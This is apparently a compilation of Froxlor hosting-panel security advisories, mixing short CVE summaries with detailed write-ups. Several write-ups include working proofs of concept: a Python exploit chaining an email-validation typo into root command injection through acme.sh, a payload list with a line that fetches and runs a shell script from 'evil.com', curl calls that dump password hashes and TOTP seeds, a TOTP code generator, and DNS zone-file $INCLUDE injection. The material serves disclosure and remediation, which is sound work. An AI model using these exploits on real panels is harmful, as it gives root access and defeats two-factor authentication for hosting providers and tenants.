Froxlor is open source server administration software. Prior to version 2.3.6, the Froxlor API endpoint Customers.update (and Admins.update) does not validate the deflanguage parameter against the list of available language files. An authenticated customer can set deflanguage to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user. Version 2.3.6 fixes the issue.

Froxlor through 0.10.29.1 allows SQL injection in Database/Manager/DbManagerMySQL.php via a custom DB name.

Froxlor before 0.9.35 uses the PHP rand function for random number generation, which makes it easier for remote attackers to guess the password reset token by predicting a value.

Improper Restriction of Excessive Authentication Attempts in GitHub repository froxlor/froxlor prior to 2.0.20.

froxlor versions before 2.2.5 fail to validate newline characters in subdomain redirect URLs, allowing authenticated customers to inject arbitrary nginx or Apache configuration directives. Attackers can supply URLs containing literal newlines that are written verbatim into vhost config files during cron rebuild, enabling web server configuration corruption, denial of service, or hijacking of HTTP responses across hosted domains.

Froxlor before 2.3.12 does not restrict or escape the system.letsencryptchallengepath setting: unlike sibling settings hardened in GHSA-33mp, the field has no stringregexp or requiredotp guard, and its value is concatenated unescaped into the acme.sh command line built in lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php and executed by the root cron via FileDir::safeexec. Because safeexec only blacklists shell metacharacters such as ; | & > < \ $ ~ ?, spaces and quotes survive and the value is word-split into additional acme.sh arguments. An administrator, or any actor able to write settings (for example through the settings-import API), can therefore inject acme.sh options such as --renew-hook, --pre-hook or --post-hook to obtain arbitrary command execution as root at the next Let's Encrypt cron run, or use --config-home/--cert-home for arbitrary file writes. Versions up to and including 2.3.10 are affected; the issue is fixed in 2.3.12.

Froxlor is a server administration panel. In versions 2.3.10 and earlier, the customer data-export (DataDump) cron fails to validate intermediate path components of the export destination: Froxlor\FileDir::makeCorrectDir() contains an off-by-one in its path-component walk that skips the first segment below the customer home directory, and the guard in ExportCron.php checks only the final component with islink(). An authenticated customer whose account has the export feature enabled can schedule an export into a genuine subdirectory of their own webspace, then replace an intermediate path component with a symlink before the root-owned cron runs. The cron's chown -R then recursively changes ownership of the linked directory tree — for example /etc — to the customer's UID, yielding host root and cross-tenant compromise. Exploitation is deterministic and requires no race. This is an incomplete fix of GHSA-75h4-... The issue is fixed in Froxlor 2.3.12.

Froxlor 2.0.0 through 2.3.10 is vulnerable to stored cross-site scripting. When a customer (the lowest-privileged authenticated role) uploads an SSL certificate for one of their own domains, the Certificates API add()/update() methods parse it with opensslx509parse() and store the issuer organization (issuer['O']) value verbatim without sanitization. Froxlor's table-listing renderer then emits scalar cells through Twig's raw filter, disabling HTML auto-escaping, so when an administrator or reseller opens Domains > SSL certificates the attacker-supplied issuer value executes as script in the privileged user's session. This crosses a privilege boundary from customer to admin and can result in full administrator account takeover; because a Froxlor admin controls webserver, DNS, and PHP configuration applied by a cron job running as root, the issue can be further escalated to command execution as root on the managed server. The issue is fixed in Froxlor 2.3.12.

Summary

A typo in Froxlor's input validation code (== instead of =) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings — including shell metacharacters — in the panel.adminmail setting. This value is later concatenated into a shell command executed as root by a cron job, where the pipe character | is explicitly whitelisted. The result is full root-level Remote Code Execution.

---

Why This Is a Security Vulnerability (Not Just "Admin Using Admin Features")

Froxlor is a shared hosting control panel. In production deployments:

1. Admin panel access does not equal root access. Hosting providers assign the Froxlor admin role to staff who manage customer accounts, domains, and services through the web UI. These operators are not given SSH access or root shell on the underlying server. The boundary between "panel admin" and "OS root" is a deliberate security design.

2. Froxlor itself enforces this boundary. The safeexec() function (FileDir.php:224-264) exists specifically to prevent shell injection — it blocks ;, |, &, >, <, , $, ~, ?. The email validation function (validateFormFieldEmail) exists specifically to ensure email fields contain valid emails. Both mechanisms are security boundaries that this vulnerability bypasses.

3. The root cause is an unintentional code defect. The == operator on a standalone line is a no-op. No developer writes $x == 'mail'; intentionally. This is a typo that silently breaks an entire class of input validation. It is not an admin feature.

4. Comparable CVEs exist for similar hosting panel escalations: - CVE-2022-44877 (CentOS Web Panel: admin→root RCE, CVSS 9.8) - CVE-2023-27524 (Apache Superset: admin→RCE) - CVE-2021-21315 (Node.js systeminformation: privileged user→RCE) - CVE-2024-22024 (Ivanti: authenticated→system command execution)

In each case, the fact that the attacker needs authenticated access did not prevent CVE assignment. The privilege escalation from "application admin" to "OS root" is the security impact.

5. Multi-tenant impact. A single compromised or malicious admin gains root access to a server hosting potentially hundreds of customers. All customer data, databases, emails, and SSL keys are exposed.

---

Vulnerability Details

Bug 1: Input Validation Bypass (CWE-482)

File: lib/Froxlor/Validate/Form/Data.php

php // Line 169 — CURRENT CODE (BUGGY) public static function validateFormFieldEmail($fieldname, $fielddata, $newfieldvalue) { $fielddata['stringtype'] == 'mail'; // == comparison: result is discarded return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue); }

// Line 175 — SAME BUG public static function validateFormFieldUrl($fieldname, $fielddata, $newfieldvalue) { $fielddata['stringtype'] == 'url'; // == comparison: result is discarded return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue); }

What happens: - $fielddata['stringtype'] is never set to 'mail' - validateFormFieldString() checks stringtype to decide which validation to apply - Since it's unset, FILTERVALIDATEEMAIL is never called - Validation falls through to a permissive fallback regex: /^[^\r\n\t\f\0]$/D - This regex allows |, ;, &, $, , and all other shell metacharacters

Intended code: php $fielddata['stringtype'] = 'mail'; // = assignment

Bug 2: OS Command Injection via acme.sh Installation (CWE-78)

File: lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php

php // Line 428 FileDir::safeexec( "wget -O - https://get.acme.sh | sh -s email=" . Settings::Get('panel.adminmail'), $return, ['|'] // pipe character EXPLICITLY ALLOWED );

What happens: - Settings::Get('panel.adminmail') returns the unsanitized value from Bug 1 - safeexec() normally blocks | as a dangerous character - But ['|'] in the third argument whitelists pipe for this specific call (needed for wget | sh) - An attacker's pipe-based payload passes through unblocked - The cron job runs as root

The Chain

Admin sets panel.adminmail = "x@x.com | COMMAND" | v Bug 1: validateFormFieldEmail() does nothing (== typo) | v Value stored to database as-is | v Cron job runs AcmeSh::checkInstall() as root | v Bug 2: safeexec("wget ... | sh -s email=x@x.com | COMMAND", ..., ['|']) | v COMMAND executes as root

---

Proof of Concept vuln 1 PoC: #!/usr/bin/env python3 """ VULN-1 Live Verification: Email Validation Bypass Tests against running Froxlor Docker instance. """

import re import sys import requests

TARGET = "http://localhost:8080" USERNAME = "admin" PASSWORD = "Admin123!@#"

Malicious payloads that should be rejected by email validation but will pass due to the == vs = bug PAYLOADS = [ "x@x.com | id", "x@x.com | curl http://evil.com/shell.sh | sh", "not-an-email; whoami", "$(touch /tmp/pwned)", "testid@evil.com", ]

def main(): session = requests.Session() session.verify = False

# Step 1: Login print("[] Step 1: Logging in...") resp = session.get(f"{TARGET}/index.php") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) csrftoken = csrfmatch.group(1) if csrfmatch else "" print(f" CSRF token: {csrftoken[:20]}...")

logindata = { "loginname": USERNAME, "password": PASSWORD, "csrftoken": csrftoken, "send": "send", } resp = session.post(f"{TARGET}/index.php", data=logindata, allowredirects=True)

if "adminindex" not in resp.url and "adminindex" not in resp.text: print(f"[-] Login failed. URL: {resp.url}") print(f" Response: {resp.text[:200]}") sys.exit(1) print("[+] Login successful!")

# Re-get CSRF token from authenticated page csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1)

# Step 2: Try to set panel.adminmail with each payload for payload in PAYLOADS: print(f"\n[] Testing payload: {payload}")

# Get settings page to get fresh CSRF token resp = session.get(f"{TARGET}/adminsettings.php?page=overview&part=all") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1)

# Submit settings change settingsdata = { "paneladminmail": payload, "csrftoken": csrftoken, "send": "send", "page": "overview", "part": "all", } resp = session.post( f"{TARGET}/adminsettings.php?page=overview&part=all", data=settingsdata, allowredirects=True, )

# Check DB to see if value was stored import subprocess result = subprocess.run( [ "docker", "exec", "froxlor-web", "bash", "-c", "mysql -h froxlor-db -u froxlor -pfroxlordbpw --skip-ssl froxlor " "-e \"SELECT value FROM panelsettings WHERE settinggroup='panel' AND varname='adminmail'\" -N 2>/dev/null" ], captureoutput=True, text=True ) storedvalue = result.stdout.strip()

if payload in storedvalue or storedvalue == payload: print(f" [VULN] CONFIRMED! Stored value: {storedvalue}") else: print(f" [INFO] Stored value: {storedvalue}") print(f" [INFO] May need different form field names or approach")

# Restore original value print("\n[] Restoring original admin email...") resp = session.get(f"{TARGET}/adminsettings.php?page=overview&part=all") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1) settingsdata = { "paneladminmail": "admin@test.local", "csrftoken": csrftoken, "send": "send", "page": "overview", "part": "all", } session.post(f"{TARGET}/adminsettings.php?page=overview&part=all", data=settingsdata, allowredirects=True) print("[+] Done.")

if name == "main": main()

Environment - Froxlor 2.3.3, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - Default configuration, no modifications

Step 1: Confirm validation bypass

php <?php // Standalone reproduction — no Froxlor installation needed. // Reproduces the exact logic from Data.php lines 113-169.

function validateEmailbuggy($value) { $fielddata = []; @($fielddata['stringtype'] == 'mail'); // BUG: line 169 // stringtype never set → FILTERVALIDATEEMAIL skipped → fallback regex return pregmatch('/^[^\r\n\t\f\0]$/D', $value) ? 'PASS' : 'REJECT'; }

function validateEmailfixed($value) { $fielddata = []; $fielddata['stringtype'] = 'mail'; // FIX return filtervar($value, FILTERVALIDATEEMAIL) ? 'PASS' : 'REJECT'; }

$tests = ['admin@example.com', 'not-an-email', 'x@x.com | touch /tmp/pwned']; foreach ($tests as $t) { echo sprintf("%-40s buggy=%-6s fixed=%s\n", $t, validateEmailbuggy($t), validateEmailfixed($t)); }

vuln 2 PoC: #!/usr/bin/env python3 """ VULN-2: Froxlor v2.3.3 Root RCE via acme.sh Command Injection =============================================================== CWE-78: OS Command Injection | CVSS 9.1

Chain: VULN-1 (email validation bypass) → VULN-2 (acme.sh pipe injection)

Attack Flow: 1. Admin sets panel.adminmail = "x@x.com | COMMAND" (bypasses email validation) 2. When Let's Encrypt is enabled and acme.sh is not installed 3. AcmeSh.php:428 executes: wget ... | sh -s email=x@x.com | COMMAND 4. Pipe character passes safeexec() because it's in allowedChars=['|'] 5. COMMAND runs as root (cron context)

Usage: # Full exploitation (requires target access) python3 vuln2acmeshrce.py --target https://froxlor.example.com \ --user admin --password secret --command "id > /tmp/rceproof"

# Offline demonstration python3 vuln2acmeshrce.py --demo """

import argparse import re import sys

try: import requests except ImportError: print("[!] pip install requests") sys.exit(1)

BANNER = """ ╔═══════════════════════════════════════════════════════════════╗ ║ Froxlor v2.3.3 — Root RCE via acme.sh Command Injection ║ ║ VULN-1 + VULN-2 Chain | CWE-78 | CVSS 9.1 ║ ╚═══════════════════════════════════════════════════════════════╝ """

class FroxlorRCE: def init(self, target, verifyssl=False): self.target = target.rstrip("/") self.session = requests.Session() self.session.verify = verifyssl

def login(self, username, password): print(f"[] Logging in as '{username}'...") resp = self.session.post( f"{self.target}/index.php", data={"loginname": username, "password": password, "send": "send"}, allowredirects=False, ) if resp.statuscode == 302 and "adminindex" in resp.headers.get("Location", ""): self.session.get(f"{self.target}/adminindex.php") print("[+] Login successful!") return True print("[-] Login failed") return False

def getcsrf(self, url): resp = self.session.get(url) match = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) return match.group(1) if match else ""

def injectemail(self, payload): """Inject malicious value into panel.adminmail (VULN-1).""" print(f"[] Injecting into panel.adminmail: {payload}") csrf = self.getcsrf(f"{self.target}/adminsettings.php?page=overview&part=panel") resp = self.session.post( f"{self.target}/adminsettings.php?page=overview&part=panel", data={ "csrftoken": csrf, "send": "send", "page": "overview", "paneladminmail": payload, }, allowredirects=True, ) print(f"[+] Settings updated (HTTP {resp.statuscode})") return resp.statuscode == 200

def triggeracmeshinstall(self): """ Trigger acme.sh installation by enabling Let's Encrypt and ensuring acme.sh path is invalid. """ print("[] Triggering acme.sh installation path...") print("[] In production, this happens automatically when:") print(" - Let's Encrypt is enabled (system.lefroxlorenabled=1)") print(" - acme.sh binary is not found at configured path") print(" - Cron job runs (every 5 minutes)") print() print("[] To manually trigger:") print(" docker exec froxlor-web php /var/www/html/froxlor/bin/froxlor-cli froxlor:cron --force")

def exploit(self, command): """Full exploitation: inject → trigger → RCE.""" payload = f"x@x.com | {command}" self.injectemail(payload)

print() print("[] Command chain that will execute as root:") print(f" wget -O - https://get.acme.sh | sh -s email={payload}") print() print("[] This decomposes to:") print(f" 1. wget -O - https://get.acme.sh") print(f" 2. | sh -s email=x@x.com") print(f" 3. | {command}") print()

self.triggeracmeshinstall()

def restore(self, original="admin@test.local"): """Restore original admin email.""" print(f"\n[] Restoring original email: {original}") csrf = self.getcsrf(f"{self.target}/adminsettings.php?page=overview&part=panel") self.session.post( f"{self.target}/adminsettings.php?page=overview&part=panel", data={ "csrftoken": csrf, "send": "send", "page": "overview", "paneladminmail": original, }, ) print("[+] Restored")

def demo(): """Offline demonstration of the vulnerability mechanics.""" print("[] Demonstrating VULN-2 mechanics (offline)...\n")

adminmail = "x@x.com | touch /tmp/ROOTRCEPROOF" fullcmd = f"wget -O - https://get.acme.sh | sh -s email={adminmail}"

print(f" admin email: {adminmail}") print(f" full command: {fullcmd}") print()

# Simulate safeexec filter disallowed = [';', '|', '&', '>', '<', '', '$', '~', '?'] allowedchars = ['|']

print(" safeexec() filter check:") blocked = False for char in disallowed: if char in fullcmd: if char in allowedchars: print(f" '{char}' → ALLOWED (in allowedChars)") else: print(f" '{char}' → BLOCKED") blocked = True

print() if not blocked: print(" RESULT: Command passes safeexec() filter!") print(" The pipe character chains our command after the wget/sh pipeline") print() print(" Execution breakdown:") print(" Process 1: wget downloads acme.sh installer") print(" Process 2: sh runs installer with email parameter") print(" Process 3: touch /tmp/ROOTRCEPROOF ← OUR COMMAND (as root)") else: # In practice the payload above should only have | which is allowed print(" NOTE: Some characters blocked. Adjust payload to use only pipe.")

print() print(" NOTE: The cron job runs as root, so the injected command") print(" executes with root privileges on the host system.")

def main(): print(BANNER)

parser = argparse.ArgumentParser(description="Froxlor v2.3.3 Root RCE PoC") parser.addargument("--target", "-t", help="Froxlor URL") parser.addargument("--user", "-u", help="Admin username") parser.addargument("--password", "-p", help="Admin password") parser.addargument("--command", "-c", default="touch /tmp/ROOTRCEPROOF", help="Command to execute as root") parser.addargument("--restore", action="storetrue", help="Restore original email after exploit") parser.addargument("--demo", action="storetrue", help="Run offline demonstration") args = parser.parseargs()

if args.demo: demo() return

if not all([args.target, args.user, args.password]): print("[!] --target, --user, and --password required (or use --demo)") sys.exit(1)

exploit = FroxlorRCE(args.target) if not exploit.login(args.user, args.password): sys.exit(1)

exploit.exploit(args.command)

if args.restore: exploit.restore()

if name == "main": main()

Output: admin@example.com buggy=PASS fixed=PASS not-an-email buggy=PASS fixed=REJECT x@x.com | touch /tmp/pwned buggy=PASS fixed=REJECT

Step 2: Confirm value stored in database

POST /adminsettings.php?page=overview&part=panel HTTP/1.1 Cookie: [authenticated admin session]

csrftoken=...&send=send&page=overview&paneladminmail=x@x.com+|+touch+/tmp/VULN2RCEPROOF

sql mysql> SELECT value FROM panelsettings WHERE settinggroup='panel' AND varname='adminmail'; +-------------------------------------------+ | value | +-------------------------------------------+ | x@x.com | touch /tmp/VULN2RCEPROOF | +-------------------------------------------+

Step 3: Confirm root code execution

Simulating AcmeSh.php line 428 inside the Docker container:

php <?php // Exact simulation of the vulnerable code path $adminmail = "x@x.com | touch /tmp/VULN2RCEPROOF"; $cmd = "echo DOWNLOADSIM | cat -s email=" . $adminmail;

// safeexec filter with pipe allowed (matches AcmeSh.php:428) $disallowed = [';', '|', '&', '>', '<', '', '$', '~', '?']; $allowedChars = ['|']; foreach ($disallowed as $dc) { if (inarray($dc, $allowedChars)) continue; if (stristr($cmd, $dc)) die("BLOCKED by: $dc"); }

exec($cmd); // pipe passes filter → command executes echo fileexists("/tmp/VULN2RCEPROOF") ? "RCE CONFIRMED" : "NOT CREATED";

Result: RCE CONFIRMED

$ ls -la /tmp/VULN2RCEPROOF -rw-r--r-- 1 root root 0 Feb 11 05:58 /tmp/VULN2RCEPROOF

File created with root:root ownership. Arbitrary command execution as root is confirmed.

---

Impact

- Confidentiality: Complete. Root access exposes all customer data, databases, SSL private keys, email contents. - Integrity: Complete. Attacker can modify any file, inject backdoors, alter DNS records. - Availability: Complete. Attacker can destroy the server, wipe databases, or deploy ransomware. - Scope: Changed. The attack originates in the web application but impacts the underlying operating system.

---

Suggested Fix

Primary fix (Bug 1 — eliminates the root cause): php // lib/Froxlor/Validate/Form/Data.php // Line 169: $fielddata['stringtype'] = 'mail'; // was: == 'mail' // Line 175: $fielddata['stringtype'] = 'url'; // was: == 'url'

Defense-in-depth (Bug 2 — even if validation is fixed): php // lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php, Line 428: FileDir::safeexec( "wget -O - https://get.acme.sh | sh -s email=" . escapeshellarg(Settings::Get('panel.adminmail')), $return, ['|'] );

Defense-in-depth (ConfigServices.php): php // All values in getReplacerArray() should be escaped with // escapeshellarg() when the template action type is "install" or "command"

Froxlor is open source server administration software. Prior to version 2.3.6, PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with changeserversettings permission adds or updates a MySQL server via the API, the privilegeduser parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.

Summary

Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT , SELECT alias., or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.

The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.

This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.

Details

The affected API classes retrieve entire database rows and return them without filtering sensitive fields:

lib/Froxlor/Api/Commands/Customers.php

Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:

password type2fa data2fa

When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.

The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.

lib/Froxlor/Api/Commands/Admins.php

Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:

password type2fa data2fa

When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.

These fields are not stripped before returning the API response.

lib/Froxlor/Api/Commands/Ftps.php

Ftps.get() and Ftps.listing() return FTP user rows containing:

password

The password field is not stripped before returning the API response.

This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.

Proof of Concept

Preconditions

Froxlor API is enabled. A valid API key and secret exist for an account allowed to call the affected API endpoints. At least one customer or administrator account exists with TOTP 2FA enabled. For Admins., the API account must have the required permission to call the affected administrator endpoint.

Set variables:

bash export FROXLORBASE='https://froxlor.example.com' export APIKEY='<apikey>' export APISECRET='<apisecret>'

PoC 1: Customer password hash and TOTP seed exposure

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type2fa, data2fa, email}'

Example vulnerable response:

json { "customerid": 1, "loginname": "customer1", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED", "email": "customer@example.com" }

The same issue can be verified with Customers.get:

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"

PoC 2: Administrator password hash and TOTP seed exposure

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type2fa, data2fa}'

Example vulnerable response:

json { "adminid": 1, "loginname": "admin", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED" }

The same issue can be verified with Admins.get:

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"

PoC 3: FTP password hash exposure

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {id, username, password}'

Example vulnerable response:

json { "id": 1, "username": "customer1", "password": "$2y$12$REDACTEDHASHVALUE..." }

The same issue can be verified with Ftps.get:

bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"

PoC 4: Generate a valid TOTP code from the exposed seed

If type2fa = 2, the exposed data2fa value can be used to generate valid TOTP codes for the affected account.

bash export TOTPSEED='<base32totpseedfromdata2fa>'

python3 - <<'PY' import base64 import hashlib import hmac import os import struct import time

seed = os.environ["TOTPSEED"].replace(" ", "").upper() key = base64.b32decode(seed + "=" ((8 - len(seed) % 8) % 8))

counter = int(time.time() // 30) msg = struct.pack(">Q", counter)

digest = hmac.new(key, msg, hashlib.sha1).digest() offset = digest[-1] & 0x0F code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff

print(str(code % 1000000).zfill(6)) PY

The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.

Expected behavior

API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.

At minimum, the following fields should be omitted or redacted before returning API responses:

password data2fa any future credential-equivalent secret fields

Impact

An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.

For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.

For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data2fa therefore weakens or bypasses the second authentication factor for affected accounts.

The combined impact is especially severe when both password and data2fa are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.

Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.

Remediation

API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as password and data2fa should never be included in normal get or listing responses.

As a tactical fix, remove or redact credential-equivalent fields before calling $this->response(...) in the affected API command classes.

As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.

Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose data2fa values may have been returned through vulnerable API responses.

froxlor versions before 2.3.12 fail to invalidate existing panel sessions, API keys, and 2FA trust cookies when a user password is changed. Attackers holding hijacked sessions, valid API keys, or 2FA trust tokens retain full account access after password rotation, bypassing incident response actions.

Froxlor 2.0.0 before 2.3.14 contains a stored cross-site scripting vulnerability that allows authenticated customers to inject HTML and JavaScript by setting a malicious theme value via customerindex.php. Script executes when an administrator views the customer overview with the Theme column enabled, letting attackers abuse the CSRF token to create administrator accounts or change server settings.

Summary

The DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs.

Affected Code

lib/Froxlor/Api/Commands/DomainZones.php, lines 213-214, 253-254, 290-291, 292-293:

php } elseif ($type == 'LOC' && !empty($content)) { $content = $content; // no validation } ... } elseif ($type == 'RP' && !empty($content)) { $content = $content; // no validation } ... } elseif ($type == 'SSHFP' && !empty($content)) { $content = $content; // no validation } elseif ($type == 'TLSA' && !empty($content)) { $content = $content; // no validation }

There is even a TODO comment at line 148 acknowledging this gap: php // TODO regex validate content for invalid characters

The content is then written directly into the BIND zone file via DnsEntry::toString() (line 83 of lib/Froxlor/Dns/DnsEntry.php):

php return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" ... . $content . PHPEOL;

And the zone file is written to disk in lib/Froxlor/Cron/Dns/Bind.php line 121:

php fwrite($zonefilehandler, $zoneContent . $subzones);

PoC

As a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives:

bash curl -s -u "APIKEY:APISECRET" \ -H 'Content-Type: application/json' \ -d '{"command":"DomainZones.add","params":{"domainname":"example.com","type":"LOC","content":"0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd"}}' \ https://panel.example.com/api.php

Alternatively via the web UI, intercept the DNS editor form POST and set dnscontent to 0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd and dnstype to LOC.

After the DNS rebuild cron runs, the resulting zone file at {bindconfdirectory}/domains/example.com.zone will contain:

@ 18000 IN LOC 0 0 0 N 0 0 0 E 0 $INCLUDE /etc/passwd

BIND will process the $INCLUDE directive and attempt to parse /etc/passwd as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as bind/named user), confirming file existence and potentially leaking parseable lines as DNS records.

Impact

1. Information Disclosure: The $INCLUDE directive lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via the DomainZones.get API call or the DNS editor in the web UI.

2. DNS Service Disruption: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting $GENERATE directives could create massive record sets for amplification attacks.

3. Zone Data Manipulation: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not intended.

Froxlor is open source server administration software. Prior to version 2.3.6, DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file. Version 2.3.6 fixes the issue.

Froxlor through 2.3.10 is vulnerable to arbitrary file deletion via symlink following in the FTP data deletion cron task. Cron task 8 (deleteFtpData), queued when an FTP account is deleted, calls FileDir::makeCorrectDir() without the $fixedhomedir argument, so the symlink component walk is skipped, and then executes 'rm -rf' as root on the resulting path with string-level guards only. Because makeCorrectDir() appends a trailing slash, GNU rm dereferences a symlink used either as an intermediate path component or as the final component. An authenticated customer who can write to the FTP home directory can plant a symlink between task insertion and cron execution, causing the root cron job to recursively delete arbitrary directory trees, resulting in cross-tenant data destruction and host denial of service. This issue is fixed in Froxlor 2.3.12.

froxlor is a server administration panel. In versions 2.3.10 and earlier, Validate::validateUrl rejects carriage return and line feed characters only in the path, query and fragment components returned by parseurl, and never inspects the userinfo (user:pass@) components. This is an incomplete fix for GHSA-c3p2. An authenticated low-privilege customer with subdomain-create rights (no admin or changeserversettings privilege required) can supply a subdomain redirect URL that carries a CR/LF payload in the userinfo portion (e.g. http://user%0areturn 200 "pwned";%0a@evil.com/). The value passes validation, survives IDNA encoding, and is written verbatim into the generated nginx or Apache vhost configuration, allowing the attacker to break out of the emitted directive and inject arbitrary web-server configuration lines. froxlor regenerates and reloads the web-server configuration as root, so the injected directives take effect server-wide and can hijack responses or read local files. The issue is fixed in version 2.3.12.

Froxlor before 2.2.0 (affected up to and including 2.2.0-rc3) generates /etc/pure-ftpd/db/mysql.conf with mode 0644 via the XML configuration templates in lib/configfiles/, even though the file contains the Froxlor SQL user's password. On systems where the parent directories are world readable (the default on Debian 12), any unprivileged local user able to execute commands or code on the host — including virtual users without SSH access who can upload PHP/CGI scripts — can read the file and obtain the Froxlor database credentials. Database access can then be leveraged to alter an administrator's password hash and TOTP seed, log in as a Froxlor administrator, and ultimately gain root privileges. Only instances configured to use pure-ftpd are affected.

Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via the unvalidated additionalmembers parameter of the Ftps.add API. Attackers can embed newline characters that the REBUILDNSSUSERS cron writes unsanitized into /var/lib/extrausers/group, creating privileged group entries for local privilege escalation.

Summary the vulnerability is that users (such as resellers or customers) are able to create accounts with the same email address as an existing account (e.g., if the admin has admin@froxlor.com, others can also create an account using the same email). This creates potential issues with account identification and security.

Impact Local/Authenticated: This vulnerability can be exploited by authenticated users (e.g., reseller, customer) who can create accounts with the same email address that has already been used by another account, such as the admin. Email-based: The attack vector is email-based, as the system does not prevent multiple accounts from registering the same email address, leading to possible conflicts and security issues.

